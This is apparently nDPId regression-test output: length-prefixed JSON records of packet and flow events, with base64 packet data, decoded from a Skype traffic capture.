+00456{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":631,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":710234,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKEx4AAEAR5BHAqAEiwKgBAd\/IADUANro4UU4BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDYBcgVza3lwZQNuZXQAABwAAQ=="} +00456{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":632,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":710400,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKunYAAEARPLnAqAEiwKgBAcNGADUANrH\/diQBAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDYBcgVza3lwZQNuZXQAAAEAAQ=="} +00455{"flow_id":65,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":633,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":769727,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"0NQSxnP1PBXCt3IOCABFAABMiXhAAEAGz6XAqAEinTeCjMN2AbvInJlHrpWZfIAYECxiBQAAAQEICj4izupOvfadOsfzaffo90GU9fGuBRpgbZPEZs9Bzxti"} +00523{"flow_id":64,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":634,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":845978,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"0NQSxnP1PBXCt3IOCABFAAB6qmRAAEAG+G3AqAEinTc4qsN1AbtlArNVviBnW4AYECzxPwAAAQEICj4izzZNea82lrtEvF7Syi3sYudbWmm1LLmltdXITy9EZvRGZ4\/xmZ+XSmldmKNIhY33FGOH7bkZm8kH56oaXL6ossqblsc6QCTpmqw22A=="} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.24","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.28","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.33","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.45","src_port":13021,"dst_port":40012,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.15","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1431969657029,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1431969656652,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1431969657029,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1431969656652,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1431969657367,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.150","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1431969657367,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.140","src_port":13021,"dst_port":40012,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.165","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1431969652367,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.166","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1431969655400,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1431969655399,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.24","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1431969655400,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.48","src_port":13021,"dst_port":40008,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.172","src_port":13021,"dst_port":40010,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.17","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.142","src_port":13021,"dst_port":40023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1431969657368,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.153","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1431969655400,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.42","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.15","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1431969657367,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.145","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.46","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1431969657368,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.25","src_port":13021,"dst_port":40028,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.160","src_port":13021,"dst_port":40028,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.43","src_port":13021,"dst_port":40002,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.45","src_port":13021,"dst_port":40012,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.38","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.15","src_port":13021,"dst_port":40026,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.162","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1431969659392,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.154","src_port":13021,"dst_port":40005,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.175","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.175","src_port":13021,"dst_port":40008,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1431969658376,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.161","src_port":13021,"dst_port":40012,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1431969653376,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.155","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1431969654389,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.176","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1431969656410,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.160","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1431969655399,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.150","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1431969659988,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.175","src_port":50039,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":635,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969659,"pkt_ts_usec":988385,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAwnVAAEAGLQHAqAEi1cezr8N3Abvoukp8AAAAALAC\/\/\/lagAAAgQFtAEDAwUBAQgKPiLPxAAAAAAEAgAA"} +00434{"flow_id":71,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":638,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":53593,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADgG93rVx7OvwKgBIgG7w3fqOPcW6LpKfaASOJBSzgAAAgQFrAQCCApO2zrZPiLPxAEDAwk="} +00422{"flow_id":71,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":639,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":53732,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0KCpAAEAGx1jAqAEi1cezr8N3Abvoukp96jj3F4AQECyptwAAAQEICj4i0AVO2zrZ"} +00522{"flow_id":71,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":640,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":53825,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB813pAAEAGF8DAqAEi1cezr8N3Abvoukp96jj3F4AYECzrfQAAAQEICj4i0AVO2zrZgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAICLwDGux8zNmsOYKUZ\/JEWy"} +00423{"flow_id":71,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":641,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":119948,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0zf5AADgGKYTVx7OvwKgBIgG7w3fqOPcX6LpKxYAQAB25bQAAAQEICk7bOuo+ItAF"} +00494{"flow_id":71,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":642,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":120059,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"0NQSxnP1PBXCt3IOCABFAABm3+1AAEAGD2PAqAEi1cezr8N3AbvoukrF6jj3F4AYECxgUQAAAQEICj4i0EdO2zrq3Ik+3JoryHORYpUOodhZtdvbaLVaOrSVdhFGDoNFz\/ygR9NCUBkcRkZjFi6mIQWuXX4="} +00431{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":643,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":209555,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6BEgAAEAR8vfAqAEiwKgBAcLvADUAJlJY1+QBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00436{"flow_id":49,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":645,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":325223,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8TkFAAEAGWUzAqAEinTg0LMNwnGCx3l+sHyRlkIAYECljpwAAAQEICj4i0RRMZC+5IVzDseW9I30="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":646,"source":"skype.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.17","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 